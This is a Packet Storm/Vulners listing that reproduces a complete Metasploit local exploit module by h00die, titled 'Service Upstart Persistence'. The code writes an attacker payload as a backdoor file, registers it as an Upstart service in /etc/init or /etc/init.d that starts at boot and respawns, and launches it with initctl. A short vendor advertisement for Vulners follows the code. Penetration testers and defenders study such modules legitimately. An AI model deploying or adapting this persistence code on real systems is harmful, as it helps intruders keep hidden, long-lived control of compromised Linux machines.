Lucene search
K

📄 Service Upstart Persistence

🗓️ 31 Oct 2025 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 108 Views

Creates an Upstart service to persistently restart on Linux targets and needs service file write access.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Unix
      include Msf::Exploit::EXE # for generate_payload_exe
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/linux/local/service_persistence'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Service Upstart Persistence',
            'Description' => %q{
              This module will create a service on the box, and mark it for auto-restart.
              We need enough access to write service files and potentially restart services
              Targets:
              CentOS 6
              Fedora >= 9, < 15
              Ubuntu >= 9.10, <= 14.10
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'h00die',
            ],
            'Platform' => ['unix', 'linux'],
            'Targets' => [
              [
                'Upstart', {
                  runlevel: '2345'
                }
              ],
            ],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'Arch' => [
              ARCH_CMD,
              ARCH_X86,
              ARCH_X64,
              ARCH_ARMLE,
              ARCH_AARCH64,
              ARCH_PPC,
              ARCH_MIPSLE,
              ARCH_MIPSBE
            ],
            'References' => [
              ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
              ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
              ['URL', 'http://blog.terminal.com/getting-started-with-upstart/']
            ],
            'SessionTypes' => ['shell', 'meterpreter'],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            },
            'DisclosureDate' => '2006-08-24' # upstart release date
          )
        )
    
        register_options(
          [
            OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
            OptString.new('SERVICE', [false, 'Name of service to create']),
            OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]),
            OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']])
          ]
        )
      end
    
      def init_folder
        if datastore['INIT_FOLDER'] == 'init' ||
           (
             datastore['INIT_FOLDER'] == 'auto' &&
             exists?('/etc/init')
           )
          return '/etc/init'
        end
    
        '/etc/init.d'
      end
    
      def check
        print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
        return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
        return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder)
    
        return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')
    
        CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
      end
    
      def install_persistence
        backdoor = write_shell(writable_dir)
    
        path = backdoor.split('/')[0...-1].join('/')
        file = backdoor.split('/')[-1]
    
        upstart(path, file, target.opts[:runlevel])
      end
    
      def write_shell(path)
        file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
        backdoor = "#{path}/#{file_name}"
        vprint_status("Writing backdoor to #{backdoor}")
        if payload.arch.first == 'cmd'
          write_file(backdoor, payload.encoded)
          chmod(backdoor, 0o711)
        else
          upload_and_chmodx backdoor, generate_payload_exe
        end
        @clean_up_rc << "rm #{backdoor}\n"
    
        fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
    
        backdoor
      end
    
      def upstart(backdoor_path, backdoor_file, runlevel)
        script = <<~EOF
          description "Start daemon at boot time"
          start on filesystem or runlevel [#{runlevel}]
          stop on shutdown
          # Ensure only one instance runs
          pre-start script
              if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then
                  echo "#{backdoor_file} is already running."
                  exit 1
              fi
          end script
          script
              echo $$ > /var/run/#{backdoor_file}.pid
              exec #{backdoor_path}/#{backdoor_file}
          end script
          post-stop script
              rm -f /var/run/#{backdoor_file}.pid
              sleep 10
          end script
          respawn
          respawn limit #{datastore['RESTART_LIMIT']} 300
        EOF
        service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
        service_name = "#{init_folder}/#{service_filename}.conf"
        vprint_status("Writing service: #{service_name}")
        write_file(service_name, script)
    
        fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
    
        @clean_up_rc << "rm #{service_name}"
        vprint_status('Starting service')
        cmd_exec("initctl start #{service_filename}")
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation